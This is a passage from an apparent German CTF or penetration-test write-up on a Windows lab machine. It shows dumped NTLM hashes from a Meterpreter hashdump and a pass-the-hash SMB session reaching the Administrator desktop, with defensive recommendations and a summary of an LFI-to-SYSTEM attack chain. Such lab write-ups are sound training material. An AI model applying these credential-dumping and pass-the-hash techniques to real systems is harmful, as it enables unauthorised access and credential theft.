Administrator:500:aad3b435b51404eeaad3b435b51404ee:2176416a80e4f62804f101d3a55d6c93::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: websvc:1003:aad3b435b51404eeaad3b435b51404ee:4724b17a37bb31574f7a055c9cc7d392:::
Analyse: Der Meterpreter-Befehl `hashdump` wird ausgeführt (erfordert SYSTEM-Rechte). Er extrahiert die NTLM-Passwort-Hashes aus der SAM-Datenbank.
Bewertung: Erfolgreich! Die Hashes für Administrator, Guest und websvc wurden extrahiert. Dies ist ein kritischer Fund, der Pass-the-Hash-Angriffe und Offline-Cracking ermöglicht.
Empfehlung (Pentester): Hashes speichern und für PtH (wie im nächsten Schritt gezeigt) oder Offline-Cracking (mit Hashcat oder John the Ripper) verwenden.
Empfehlung (Admin): Credential Dumping erschweren (LSASS Protection, Credential Guard). Hashes sicher speichern (moderne Windows-Versionen tun dies besser).
Try "help" to get a list of possible commands. smb: \> ls $RECYCLE.BIN DHS 0 Tue Jul 14 06:52:35 2009 # ... (Inhalt von C:\) 8362495 blocks of size 4096. 5823433 blocks available smb: \> cd Users\Administrator\Desktop\ smb: \Users\Administrator\Desktop\> ls . DR 0 Fri Aug 16 06:02:08 2024 .. DR 0 Fri Aug 16 06:02:08 2024 desktop.ini AHS 282 Fri Jun 7 22:26:57 2024 root.txt A 33 Sun Jun 30 19:10:01 2024 8362495 blocks of size 4096. 5823433 blocks available
Analyse: Ein Pass-the-Hash (PtH)-Angriff wird mit `smbclient` durchgeführt, wobei der zuvor gedumpte NTLM-Hash des Administrators (`--pw-nt-hash`) anstelle eines Passworts verwendet wird, um auf die administrative Freigabe `c$` zuzugreifen.
Bewertung: Erfolgreich! Zeigt, dass mit dem gestohlenen Hash administrativer Zugriff über SMB erlangt werden kann. Erneuter Zugriff auf `root.txt` wird demonstriert.
Empfehlung (Pentester): PtH ist eine Kerntechnik in Windows-Netzwerken.
Empfehlung (Admin): Maßnahmen gegen Credential Dumping und PtH ergreifen (siehe oben).
Zusammenfassende Bewertung der Sicherheitslage: Das getestete System "TriplAdvisor" weist kritische Sicherheitslücken auf, die eine vollständige Kompromittierung durch einen Angreifer mit Netzwerkzugriff ermöglichten. Die Hauptangriffsvektoren waren eine veraltete WordPress-Installation mit einem verwundbaren Plugin ("Editor" v1.1), das Local File Inclusion (LFI) erlaubte, und ein veraltetes, ungepatchtes Betriebssystem (Windows Server 2008 R2), das anfällig für bekannte Privilege-Escalation-Exploits (MS16-075) war. Die Kombination dieser Schwachstellen erlaubte es, von einer LFI zu Remote Code Execution und schließlich zu vollen SYSTEM-Rechten zu gelangen.
Empfehlung (Admin):